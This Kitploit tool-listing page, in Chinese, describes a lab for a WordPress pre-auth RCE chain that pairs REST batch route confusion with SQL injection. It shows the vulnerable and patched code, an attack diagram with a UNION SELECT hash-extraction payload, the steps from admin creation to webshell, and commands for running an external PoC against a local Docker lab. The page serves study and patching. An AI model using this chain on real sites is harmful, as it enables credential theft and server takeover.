Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-63030-lab — wp2shell (CVE-2026-63030 & CVE-2026-60137) - 完整 RCE 攻击链 | Kitploit
工具/GitHubGitHub/mhassani97/cve-2026-63030-lab
漏洞分析漏洞利用Web应用程序漏洞利用Web安全学习与教育实验室与实践
GitHubmhassani97/cve-2026-63030-lab

cve-2026-63030-lab

wp2shell (CVE-2026-63030 & CVE-2026-60137) - 完整 RCE 攻击链

查看仓库
14天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-63030 — wp2shell 实验室

通过 REST API 批量路由混淆 + SQL 注入实现 WordPress 核心预认证 RCE

WordPress CVE CVSS License

概述

下载工具

wp2shell 是 WordPress 核心中两个独立低严重性漏洞组成的利用链,两者结合后,允许未经认证的远程攻击者:

  1. 在无凭据的情况下到达 SQL 注入汇点
  2. 从数据库中提取管理员密码哈希
  3. 创建新的管理员账户
  4. 上传 webshell 并实现完全的远程代码执行
属性详情
CVE 编号CVE-2026-63030 + CVE-2026-60137
CVSS9.8 严重
所需认证无(预认证)
攻击向量网络
受影响版本WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1
已修复版本6.9.5 和 7.0.2(2026 年 7 月 17 日发布)

两个漏洞

CVE-2026-63030 — REST API 批量路由混淆

文件: wp-includes/rest-api/class-wp-rest-server.php

serve_batch_request_v1() 维护两个并行数组:用于处理程序的 $matches[] 和用于结果的 $validation[]。当子请求以 WP_Error(损坏的路径)失败时,它会被推入 $validation[],但不会推入 $matches[]。这会产生 +1 索引偏移——子请求 i 会被派发到子请求 i+1 的处理程序。

root@kitploit:~
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
    $responses[] = envelope();
    continue; // $matches[] NOT pushed ← BUG
}

// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
    $matches[]   = null; // ← FIX: keeps arrays in sync
    $responses[] = envelope();
    continue;
}

CVE-2026-60137 — WP_Query 中的 SQL 注入

文件: wp-includes/class-wp-query.php

author__not_in 参数期望接收整数数组。当传入字符串时,implode() 会将原始值直接拼接进 SQL WHERE 子句——没有转义,也没有参数化。

root@kitploit:~
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';

// PATCHED (7.0.2)
$safe   = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";

攻击链

root@kitploit:~
Unauthenticated Attacker
        │
        ▼
POST /?rest_route=/batch/v1          ← Outer batch
  sub-req 0: "///"   → WP_Error → index shift (+1)
  sub-req 1: POST /wp/v2/posts       ← dispatched under BATCH handler
  sub-req 2: POST /batch/v1          ← dummy
        │
        │  [Confusion #1 active]
        ▼
Inner batch (body of sub-req 1)      ← schema never validated
  inner 0: "///"    → index shift (+1)
  inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
           dispatched under posts get_items()
        │
        │  [Confusion #2 active]
        ▼
WP_Query: author__not_in = raw string
        │
        ▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
        │
        ▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
        │
        ▼
Crack hash  OR  crack-free oEmbed technique
        │
        ▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE

实验室搭建

前提条件

工具下载
Docker Desktop(Windows / macOS)https://www.docker.com/products/docker-desktop
Docker Engine(Linux)https://docs.docker.com/engine/install
Githttps://git-scm.com/downloads
Burp Suite Community(可选)https://portswigger.net/burp/communitydownload

步骤 1 — 克隆仓库

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab

你会看到以下文件:

root@kitploit:~
cve-2026-63030-lab/
├── docker-compose.yml     ← defines WordPress + MySQL containers
├── Dockerfile             ← custom image with Apache fix + wp-cli
├── init.sh                ← configures permalink after install
└── fix-htaccess.ps1       ← Windows helper (run if Apache returns 404)

步骤 2 — 构建并启动实验室

root@kitploit:~
docker compose up -d --build

此操作将:

  • 构建自定义 WordPress 7.0.1 镜像(首次运行约需 1–2 分钟)
  • 启动 MySQL 8.0 数据库容器
  • 将 WordPress 暴露在 http://localhost:9090

验证两个容器都在运行:

root@kitploit:~
docker compose ps

预期输出:

root@kitploit:~
NAME              STATUS
wp2shell-lab      running
wp2shell-db       running

步骤 3 — 完成 WordPress 安装

在浏览器中打开 http://localhost:9090 并填写:

字段建议值
站点标题CVE-2026-63030
用户名admin
密码任意密码
电子邮件[email protected]

点击安装 WordPress,然后登录。


步骤 4 — 启用 REST API 路由(必需)

安装后运行一次:

Linux / macOS:

root@kitploit:~
docker exec wp2shell-lab bash -c "
  wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
  wp rewrite flush --allow-root --path=/var/www/html
"

Windows PowerShell:

root@kitploit:~
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"

预期输出:

root@kitploit:~
Success: Rewrite structure set.
Success: Rewrite rules flushed.

步骤 5 — 修复 .htaccess(仅限 Windows,如果 REST API 返回 404)

root@kitploit:~
.\fix-htaccess.ps1

步骤 6 — 验证实验室已就绪

root@kitploit:~
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5

如果你看到包含 "namespaces" 的 JSON 响应——说明实验室已就绪。


拆除

root@kitploit:~
# Stop and remove everything including database
docker compose down -v

漏洞利用(PoC)

⚠️ 仅供授权的安全研究和教育使用。 仅对你拥有或已获得明确书面测试许可的系统使用。

完整的利用链(检测 → SQLi → 创建管理员 → webshell → RCE)实现于:

github.com/Icex0/wp2shell-poc

root@kitploit:~
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt

# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090

# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090

补丁

三个文件,改动不足 10 行 PHP:

文件更改
class-wp-rest-server.php添加 $matches[] = null 占位符,使数组保持同步
class-wp-query.php(array) 强制转换 + array_map('absint', ...)
class-wp-rest-posts-controller.php在 REST 层进行相同的净化处理

升级到 WordPress 6.9.5 或 7.0.2 即可完成修复。


参考资料

资源链接
GitHub 安全公告(CVE-2026-63030)GHSA-ff9f-jf42-662q
GitHub 安全公告(CVE-2026-60137)GHSA-fpp7-x2x2-2mjf
公开 PoChttps://github.com/Icex0/wp2shell-poc

由 Black Security Team 用 ❤️ 制作

Website Telegram LinkedIn

本仓库仅用于教育目的和经授权的安全研究。 请勿对你不拥有或未经明确书面许可的系统进行测试。